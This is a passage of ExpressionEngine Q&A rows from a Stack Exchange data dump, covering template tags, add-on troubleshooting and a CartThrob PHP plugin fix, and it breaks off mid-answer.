  <row Id="17350" PostTypeId="1" AcceptedAnswerId="17378" CreationDate="2013-12-03T11:44:31.790" Score="1" ViewCount="97" Body="&lt;p&gt;I'm working on an EE 1.6.8 site with SolSpace User 3.0.1 .  The password reset form does not seem to be working.  When entering the new password in the Confirm New Password box, a message comes up straight away &quot;Please enter the same value again&quot;.  Both passwords are the same.  Thanks.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:user:edit return=&quot;account/index&quot;}&#xA;&#xA;&amp;lt;h1&amp;gt;Change Password&amp;lt;/h1&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;password&quot;&amp;gt;New Password&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;password&quot; name=&quot;password&quot; class=&quot;pass&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;password_confirm&quot;&amp;gt;Confirm New Password&amp;lt;/label&amp;gt; &amp;lt;input type=&quot;password&quot; name=&quot;password_confirm&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;current_password&quot;&amp;gt;Current Password &amp;lt;/label&amp;gt;&amp;lt;input type=&quot;password&quot; name=&quot;current_password&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Update&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;&#xA;{/exp:user:edit}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="984" LastActivityDate="2013-12-03T23:26:15.240" Title="Solspace User, unable to reset password" Tags="|ee1|solspace-user|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17351" PostTypeId="2" ParentId="17326" CreationDate="2013-12-03T13:09:00.487" Score="2" Body="&lt;p&gt;Reefine is awesome. Used it a couple of times. However, I have found (And it is mentioned in the docs) that if you are using it on a ton of entries, it can be a little slow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may also be able to harness &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/dynamic_parameters.html&quot; rel=&quot;nofollow&quot;&gt;dynamic parameters&lt;/a&gt;. You can filter a lot down with that. Or even perhaps the search:field_name= &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#search-field-name&quot; rel=&quot;nofollow&quot;&gt;Docs here&lt;/a&gt; and use segment variables to filer down.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps.&lt;/p&gt;&#xA;" OwnerUserId="855" LastActivityDate="2013-12-03T13:09:00.487" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17352" PostTypeId="2" ParentId="17314" CreationDate="2013-12-03T13:26:05.010" Score="2" Body="&lt;p&gt;CT's hooks work in the same way as native EE hooks. This means that you need to create an extension to use them: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/extensions.html&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/extensions.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;HOWEVER, depending on your exact requirements, it may be best to create a Cartthrob tax plugin: &lt;a href=&quot;http://cartthrob.com/docs/developers/tax_plugins/index.html&quot; rel=&quot;nofollow&quot;&gt;http://cartthrob.com/docs/developers/tax_plugins/index.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2013-12-03T13:26:05.010" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17353" PostTypeId="1" CreationDate="2013-12-03T14:04:23.663" Score="1" ViewCount="123" Body="&lt;p&gt;After I've upgraded EE from 2.6.1 to 2.7.2, on most of my pages I'm now getting the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Error Number: 1054&#xA;&#xA;Unknown column 'L0.grid_field_id' in 'field list'&#xA;&#xA;SELECT DISTINCT `L0`.`field_id` as L0_field, `L0`.`grid_field_id` as L0_grid_field_id, `L0`.`grid_col_id` as L0_grid_col_id, `L0`.`grid_row_id` as L0_grid_row_id, `L0`.`parent_id` AS L0_parent, `L0`.`child_id` as L0_id FROM (`exp_relationships` as L0) LEFT JOIN `exp_relationships` as L1 ON `L0`.`child_id` = `L1`.`parent_id` OR L1.parent_id = NULL WHERE `L0`.`grid_field_id` = 0 AND `L0`.`parent_id` IN (1389) ORDER BY `L0`.`order` asc&#xA;&#xA;Filename: models/relationship_model.php&#xA;&#xA;Line Number: 178&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've seen another SE post about it being something to do with the 'setup' script - but it doesn't give any more information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone seen this before? Any solutions anywhere?&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-03T14:08:37.163" Title="Upgrade from 2.6.1 -&gt; 2.7.2 now generates grid field error" Tags="|relationships|upgrade|grid|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17354" PostTypeId="2" ParentId="17353" CreationDate="2013-12-03T14:08:37.163" Score="2" Body="&lt;p&gt;Shortly after posting this - I &lt;em&gt;think&lt;/em&gt; I found the problem. It appears the _updates_relationships_for_grid() function didn't fire in the ud_270.php upgrade process... no idea why though since the upgrade didn't fail or error at any point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having manually executed the SQL necessary on this function, it looks like it's working now.&lt;/p&gt;&#xA;" OwnerUserId="18" LastActivityDate="2013-12-03T14:08:37.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17355" PostTypeId="1" AcceptedAnswerId="17379" CreationDate="2013-12-03T14:12:23.160" Score="2" ViewCount="468" Body="&lt;p&gt;Using EEs native Search, is there a way to exclude specific entries from the results?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling, 'Is field searchable?' in the field settings tells EE which fields to use but these are global to the whole Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got 4 entries I specifically don't want showing in the results. I'm manually excluding using if statements, hopefully there's a more elegant way of doing this?&lt;/p&gt;&#xA;" OwnerUserId="351" LastActivityDate="2013-12-04T09:39:55.777" Title="Exclude entries from search results" Tags="|search|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17356" PostTypeId="2" ParentId="17355" CreationDate="2013-12-03T14:22:05.710" Score="3" Body="&lt;p&gt;I set up a status for &quot;hide from search&quot; or similar. This means that the results aren't shown as my search is only showing open entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course, it does mean that you need to set any entries tags that are meant to show these entries to include the status as well as just showing those with a status of &quot;open&quot;.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-03T14:22:05.710" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="17357" PostTypeId="1" CreationDate="2013-12-03T14:42:22.750" Score="1" ViewCount="143" Body="&lt;p&gt;I've run into a bit of a roadblock. I'm relating two channels via a Playa relationship. The two channels are 'positions' and 'locations'. The 'locations' channel contains a Matrix field with a Playa relationship.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3TOa6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently, I have template code that looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;locations&quot; dynamic=&quot;no&quot; disable=&quot;member_data&quot;}&#xA;  {locations-listing search:locations-position=&quot;General Manager&quot; limit=&quot;1&quot;}&#xA;    {exp:playa:children channel=&quot;positions&quot; category=&quot;26&quot; disable=&quot;member_data&quot; var_prefix=&quot;loc&quot;}&#xA;    &amp;lt;div class=&quot;job-listing clearfix&quot;&amp;gt;&#xA;      &amp;lt;div class=&quot;cell-1&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;position column&quot;&amp;gt;&#xA;          {loc:title}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;city column&quot;&amp;gt;&#xA;          {locations-city row_id=&quot;{row_id}&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;div class=&quot;state column&quot;&amp;gt;&#xA;          {title}&#xA;        &amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;  {/exp:playa:children}&#xA;{/locations-listing}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the output to loop through the first Matrix row 2 times (in the screenshot, there are 2 Playa relationships) before moving on to the next row (and repeat that process for each row).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any assistance would be hugely appreciated!&lt;/p&gt;&#xA;" OwnerUserId="2435" LastActivityDate="2013-12-03T14:42:22.750" Title="Matrix and Playa | Loop Through Row As Many Times as Playa Relationships that Exist" Tags="|matrix|playa|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17358" PostTypeId="2" ParentId="17345" CreationDate="2013-12-03T15:11:01.240" Score="2" Body="&lt;p&gt;Finally found the origin of the problem, which comes from an old bug with the Vimeo API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Short version is that there is a bug happening when you have only one Vimeo album.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Long version is that the Vimeo API was requested for a list (array) of your albums, and if you had only one album created, was returning the album object, straight, instead of an array of albums (even if dealing with only one).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This particular situation was handled, but now that they have fixed the problem on their end, it's throwing bugs to people using Videos with only one album.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will be fixed in the next update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now, you can whether create an additional album or comment the following lines in dukt_videos/vendor/dukt/videos/src/Dukt/Videos/Vimeo/Service.php (~ line 553), to make it look like this :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;private function extractCollections($r, $type='album')&#xA;{&#xA;    $responseCollections = $r;&#xA;&#xA;    $collections = array();&#xA;&#xA;&#xA;    // if(count($responseCollections) == 1) {&#xA;    //     $responseCollections = array($responseCollections);&#xA;    // }&#xA;&#xA;    foreach($responseCollections as $responseCollection)&#xA;    {&#xA;        $collection = new Collection();&#xA;&#xA;        $collection-&amp;gt;{'instantiate'.ucwords($type)}($responseCollection);&#xA;&#xA;        array_push($collections, $collection);&#xA;    }&#xA;&#xA;    return $collections;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps !&lt;/p&gt;&#xA;" OwnerUserId="614" LastActivityDate="2013-12-03T15:11:01.240" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17359" PostTypeId="1" AcceptedAnswerId="17366" CreationDate="2013-12-03T15:14:56.537" Score="1" ViewCount="76" Body="&lt;p&gt;I have a custom plugin that was made by a previous developer. The client has asked for it to be modified to display all items ordered, instead of just one, and for some reason, the item name field is only displaying for the first result.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/zpg0U.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the code. I'm sure it's something simple I'm overlooking:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    class Purchased_items {&#xA;    &#xA;    public $return_data;&#xA;    &#xA;    /**&#xA;     * Constructor&#xA;     */&#xA;    public function __construct()&#xA;    {&#xA;        $this-&amp;gt;EE =&amp;amp; get_instance();&#xA;        $this-&amp;gt;date_id_field = 'field_id_84';&#xA;    }&#xA;    &#xA;    // ----------------------------------------------------------------&#xA;&#xA;    public function order_count()&#xA;    {&#xA;        $member = $this-&amp;gt;EE-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;        $count = 0;&#xA;        if($member)&#xA;        {&#xA;            $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get_where(&amp;quot;channel_titles&amp;quot;, array(&amp;quot;author_id&amp;quot; =&amp;gt; $member, &amp;quot;channel_id&amp;quot; =&amp;gt; 7, &amp;quot;status&amp;quot; =&amp;gt; &amp;quot;complete&amp;quot;));&#xA;            $count = $query-&amp;gt;num_rows();&#xA;        }&#xA;        return $count;&#xA;    }&#xA;&#xA;    public function items()&#xA;    {&#xA;        $id = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('search:purchased_id');&#xA;        $start = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('start_on');&#xA;        $end = $this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('stop_before');&#xA;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;save_queries = TRUE;&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;from('cartthrob_order_items AS oi');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;join('channel_titles AS o', 'oi.order_id = o.entry_id', 'inner');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;join('channel_data AS od', 'o.entry_id = od.entry_id', 'inner');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;join('delivery_dates AS d', 'od.'.$this-&amp;gt;date_id_field.' = d.date_id', 'left');&#xA;        $this-&amp;gt;EE-&amp;gt;db-&amp;gt;select('oi.*, o.entry_date, d.date');&#xA;        if($id !=&amp;quot;&amp;quot;){&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array('oi.entry_id' =&amp;gt; $id, 'o.entry_date &amp;gt;=' =&amp;gt; strtotime($start), 'o.entry_date &amp;lt;=' =&amp;gt; strtotime($end), 'o.status' =&amp;gt; 'complete'));&#xA;        }else{&#xA;            $this-&amp;gt;EE-&amp;gt;db-&amp;gt;where(array('o.entry_date &amp;gt;=' =&amp;gt; strtotime($start), 'o.entry_date &amp;lt;=' =&amp;gt; strtotime($end), 'o.status' =&amp;gt; 'complete'));&#xA;        }&#xA;        $query = $this-&amp;gt;EE-&amp;gt;db-&amp;gt;get();&#xA;&#xA;        // print_r($this-&amp;gt;EE-&amp;gt;db-&amp;gt;last_query());&#xA;        // exit(print_r($query-&amp;gt;result_array()));&#xA;&#xA;        $dates = array();&#xA;&#xA;        $item_options = array(&amp;quot;default&amp;quot; =&amp;gt; array(&amp;quot;option_name&amp;quot; =&amp;gt; &amp;quot;&amp;quot;, &amp;quot;count&amp;quot; =&amp;gt; 0, &amp;quot;total&amp;quot; =&amp;gt; 0, &amp;quot;total_plus_tax&amp;quot; =&amp;gt; 0, &amp;quot;day_totals&amp;quot; =&amp;gt; array()));&#xA;        $date_counts = array();&#xA;&#xA;        if($query-&amp;gt;num_rows() == 0)&#xA;        {&#xA;            return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;        }&#xA;        else&#xA;        {&#xA;            foreach( $query-&amp;gt;result_array() as $item )&#xA;            {&#xA;                $vars[0][&amp;quot;title&amp;quot;] = $item[&amp;quot;title&amp;quot;];&#xA;&#xA;                if( $item['extra'] != &amp;quot;&amp;quot; ){&#xA;                    $options = unserialize(base64_decode($item[&amp;quot;extra&amp;quot;]));&#xA;                    $product_option = $options['product_options_other'];&#xA;                }&#xA;                if( $item['extra'] == &amp;quot;&amp;quot; || $product_option == &amp;quot;&amp;quot; ){&#xA;                    $name = &amp;quot;default&amp;quot;;&#xA;                    $item_options[$name][&amp;quot;count&amp;quot;] += $item['quantity'];&#xA;                    $item_options[$name][&amp;quot;total&amp;quot;] += $item['price'];&#xA;                    $item_options[$name][&amp;quot;total_plus_tax&amp;quot;] += $item['price_plus_tax'];&#xA;                }&#xA;                else {&#xA;                    $extra = unserialize(base64_decode($item[&amp;quot;extra&amp;quot;]));&#xA;                    $name = $extra['product_options_other'];&#xA;                    if( !isset($item_options[$name]) ){&#xA;                        $item_options[$name] = array(&amp;quot;option_name&amp;quot; =&amp;gt; $name, &amp;quot;count&amp;quot; =&amp;gt; 0, &amp;quot;cost&amp;quot; =&amp;gt; 0, &amp;quot;total&amp;quot; =&amp;gt; 0, &amp;quot;total_plus_tax&amp;quot; =&amp;gt; 0, &amp;quot;day_totals&amp;quot; =&amp;gt; array());&#xA;                    }&#xA;                    $item_options[$name][&amp;quot;count&amp;quot;] += $item['quantity'];&#xA;                    $item_options[$name][&amp;quot;total&amp;quot;] += $item['price'];&#xA;                    $item_options[$name][&amp;quot;total_plus_tax&amp;quot;] += $item['price_plus_tax'];&#xA;                }&#xA;                if( !isset($item_options[$name][&amp;quot;dates&amp;quot;]) ){&#xA;                    $item_options[$name][&amp;quot;dates&amp;quot;] = array();&#xA;                }&#xA;                if( $item['date'] != &amp;quot;&amp;quot; ){&#xA;                    if( !isset($item_options[$name]['day_totals'][$item['date']] )){&#xA;                        $item_options[$name]['day_totals'][$item['date']] = array(&amp;quot;date&amp;quot;=&amp;gt;$item['date'], &amp;quot;total_for_day&amp;quot; =&amp;gt; 0);&#xA;                    }&#xA;                    $item_options[$name]['day_totals'][$item['date']]['total_for_day'] += $item['quantity'];&#xA;                }&#xA;&#xA;            }&#xA;            // $vars = array(&amp;quot;item_options&amp;quot; =&amp;gt; array());&#xA;            if( $item_options[&amp;quot;default&amp;quot;][&amp;quot;count&amp;quot;] == 0 ){&#xA;                unset($item_options[&amp;quot;default&amp;quot;]);&#xA;            }&#xA;            foreach( $item_options as $option )&#xA;            {&#xA;                $option[&amp;quot;day_totals&amp;quot;] = array_values($option[&amp;quot;day_totals&amp;quot;]);&#xA;                $option[&amp;quot;total&amp;quot;] = &amp;quot;$&amp;quot;.number_format($option[&amp;quot;total&amp;quot;], 2);&#xA;                $option[&amp;quot;total_plus_tax&amp;quot;] = &amp;quot;$&amp;quot;.number_format($option[&amp;quot;total_plus_tax&amp;quot;], 2);&#xA;                $vars[0]['item_options'][] = $option;&#xA;            }&#xA;            return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;        }&#xA;    }&#xA;    &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="897" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2013-12-03T19:08:22.983" Title="Need Help Troubleshooting Custom Cartthrob Plugin" Tags="|cartthrob|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17360" PostTypeId="1" AcceptedAnswerId="17361" CreationDate="2013-12-03T16:32:46.553" Score="2" ViewCount="82" Body="&lt;p&gt;I am wondering if there is a way to dynamically call an ExpressionEngine home path. For instance, in Wordpress they use &lt;code&gt;&amp;lt;?php echo home_url(); ?&amp;gt;&lt;/code&gt;, is there an equivalent for ExpressionEngine? I am wanting to link to my stylesheets without putting the absolute static path into the href.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="2257" LastActivityDate="2013-12-03T16:39:45.767" Title="How to include home path in template" Tags="|css|path|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17361" PostTypeId="2" ParentId="17360" CreationDate="2013-12-03T16:39:45.767" Score="5" Body="&lt;p&gt;Try using &lt;code&gt;{site_url}&lt;/code&gt; which will return the site's homepage url such as &lt;a href=&quot;http://www.mysite.com&quot;&gt;http://www.mysite.com&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2013-12-03T16:39:45.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="17362" PostTypeId="2" ParentId="17312" CreationDate="2013-12-03T16:53:31.760" Score="2" Body="&lt;p&gt;The &lt;a href=&quot;http://devot-ee.com/add-ons/variables&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Variables&lt;/strong&gt;&lt;/a&gt; plugin is a good option for passing data to the header embed.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The variables plugin gives the possibility to create variables (either&#xA;  static or dynamic) and use them later on. This means that for example&#xA;  you can set certain data and use it in the head (if it's embedded)&#xA;  without having to re-create a tag pair for the specific channel.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Set a variable like this inside your template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:variables:set name=&quot;entry_id&quot; value=&quot;{entry_id}&quot;}&#xA;OR&#xA;{exp:variables:set name=&quot;entry_id&quot; value=&quot;1&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And get it like this in the header:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:variables:get name='entry_id'}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2013-12-03T18:53:28.733" LastActivityDate="2013-12-03T18:53:28.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="17363" PostTypeId="1" CreationDate="2013-12-03T17:21:41.113" Score="4" ViewCount="89" Body="&lt;p&gt;I wish to pre-populate my billing and shipping details for logged in members&lt;/p&gt;&#xA;&#xA;&lt;p&gt;VALUE=&quot;{exp:member:custom_profile_data}{firstName}{/exp:member:custom_profile_data}&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This correctly populates the form fields however when I submit the form when there is an error on the form such as a required field not being complete all the form fields are reset to blank.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I basically need something along the lines of the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if inline error then use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VALUE=&quot;{firstName}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;otherwise use the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VALUE=&quot;{exp:member:custom_profile_data}{firstName}{/exp:member:custom_profile_data}&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If so anyone care to share the syntax?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="2344" LastActivityDate="2013-12-03T22:04:52.327" Title="Expresso Store - remember form fields if inline error" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17364" PostTypeId="1" AcceptedAnswerId="17365" CreationDate="2013-12-03T18:34:27.013" Score="3" ViewCount="2637" Body="&lt;p&gt;I am trying to use templates in embeds depending on the users' category selection but I don't know how to check if a category has been assigned or not.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{categories}&#xA;    {if category_url_title==&quot;full-page-review&quot;}&#xA;        {embed=&quot;temp-group/.full_page_review&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {if:elseif category_url_title==&quot;standard&quot;}&#xA;        {embed=&quot;temp-group/.standard&quot; entry_id=&quot;{entry_id}&quot;}&#xA;    {/if}&#xA;{/categories}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine as long as a category has been assigned in the entry, but nothing happens if the author forgot to assign a category. Is there a way to see if there is a category assigned or not while using a conditional like this?&lt;/p&gt;&#xA;" OwnerUserId="3139" LastEditorUserId="61" LastEditDate="2013-12-03T19:08:47.813" LastActivityDate="2013-12-05T19:47:04.060" Title="Check if category is assigned in channel entry conditional" Tags="|channel-entries|categories|conditionals|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="17365" PostTypeId="2" ParentId="17364" CreationDate="2013-12-03T18:51:17.470" Score="9" Body="&lt;p&gt;I was able to accomplish what I was after using the following...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if &quot;{categories}{category_url_title}{/categories}&quot;!=&quot;&quot;}&#xA;    CATEGORY EXISTS&#xA;{if:else}&#xA;    NO CATEGORY EXISTS&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3139" LastActivityDate="2013-12-03T18:51:17.470" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17366" PostTypeId="2" ParentId="17359" CreationDate="2013-12-03T19:08:22.983" Score="2" Body="&lt;p&gt;Your problem is here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$vars[0][&quot;title&quot;] = $item[&quot;title&quot;];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Since that's inside a &lt;code&gt;foreach&lt;/code&gt; loop, your resulting data is always limited to a single row (row &quot;0&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this, starting at the appropriate matching spot:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if($query-&amp;gt;num_rows() == 0)&#xA;{&#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;no_results();&#xA;}&#xA;else&#xA;{&#xA;    $vars = array();&#xA;    $i = 0;&#xA;    foreach( $query-&amp;gt;result_array() as $item )&#xA;    {&#xA;        $vars[$i][&quot;title&quot;] = $item[&quot;title&quot;];&#xA;&#xA;        if( $item['extra'] != &quot;&quot; ){&#xA;            $options = unserialize(base64_decode($item[&quot;extra&quot;]));&#xA;            $product_option = $options['product_options_other'];&#xA;        }&#xA;        if( $item['extra'] == &quot;&quot; || $product_option == &quot;&quot; ){&#xA;            $name = &quot;default&quot;;&#xA;            $item_options[$name][&quot;count&quot;] += $item['quantity'];&#xA;            $item_options[$name][&quot;total&quot;] += $item['price'];&#xA;            $item_options[$name][&quot;total_plus_tax&quot;] += $item['price_plus_tax'];&#xA;        }&#xA;        else {&#xA;            $extra = unserialize(base64_decode($item[&quot;extra&quot;]));&#xA;            $name = $extra['product_options_other'];&#xA;            if( !isset($item_options[$name]) ){&#xA;                $item_options[$name] = array(&quot;option_name&quot; =&amp;gt; $name, &quot;count&quot; =&amp;gt; 0, &quot;cost&quot; =&amp;gt; 0, &quot;total&quot; =&amp;gt; 0, &quot;total_plus_tax&quot; =&amp;gt; 0, &quot;day_totals&quot; =&amp;gt; array());&#xA;            }&#xA;            $item_options[$name][&quot;count&quot;] += $item['quantity'];&#xA;            $item_options[$name][&quot;total&quot;] += $item['price'];&#xA;            $item_options[$name][&quot;total_plus_tax&quot;] += $item['price_plus_tax'];&#xA;        }&#xA;        if( !isset($item_options[$name][&quot;dates&quot;]) ){&#xA;            $item_options[$name][&quot;dates&quot;] = array();&#xA;        }&#xA;        if( $item['date'] != &quot;&quot; ){&#xA;            if( !isset($item_options[$name]['day_totals'][$item['date']] )){&#xA;                $item_options[$name]['day_totals'][$item['date']] = array(&quot;date&quot;=&amp;gt;$item['date'], &quot;total_for_day&quot; =&amp;gt; 0);&#xA;            }&#xA;            $item_options[$name]['day_totals'][$item['date']]['total_for_day'] += $item['quantity'];&#xA;        }&#xA;&#xA;        if( $item_options[&quot;default&quot;][&quot;count&quot;] == 0 ){&#xA;            unset($item_options[&quot;default&quot;]);&#xA;        }&#xA;        foreach( $item_options as $option )&#xA;        {&#xA;            $option[&quot;day_totals&quot;] = array_values($option[&quot;day_totals&quot;]);&#xA;            $option[&quot;total&quot;] = &quot;$&quot;.number_format($option[&quot;total&quot;], 2);&#xA;            $option[&quot;total_plus_tax&quot;] = &quot;$&quot;.number_format($option[&quot;total_plus_tax&quot;], 2);&#xA;            $vars[$i]['item_options'][] = $option;&#xA;        }&#xA;        $i++;&#xA;    }   &#xA;    return $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;tagdata, $vars);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-03T19:08:22.983" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="17367" PostTypeId="2" ParentId="17364" CreationDate="2013-12-03T19:22:10.090" Score="2" Body="&lt;p&gt;I use &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to check for the length of a string (e.g. for a change in design if title is too long). I suppose it could be adapted to check if the string is empty or not:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      {exp:switchee parse=&quot;inward&quot; variable=&quot;{categories}{category_url_title}{/categories}&quot;}&#xA;        {case value=&quot;full-page-review&quot;}&#xA;          {embed=&quot;temp-group/.full_page_review&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        {/case}&#xA;        {case value=&quot;standard&quot;}&#xA;          {!-- just here as an example --}&#xA;          {embed=&quot;temp-group/.standard&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        {/case}&#xA;        {case value=&quot;#^.&amp;amp;#123;1,&amp;amp;#125;$#&quot;} &#xA;        {!-- regex of ^.{1,}$ means match any character of 1 or more,&#xA;             I would have another number after the comma though. &#xA;             You could just try #^.+$# instead, don't see why that wouldn't work --}&#xA;          {!-- unaccounted for case, but category exists --}&#xA;          {embed=&quot;temp-group/.standard&quot; entry_id=&quot;{entry_id}&quot;}&#xA;        {/case}&#xA;        {case default=&quot;Yes&quot;}&#xA;          {!-- unaccounted for case, category DNE 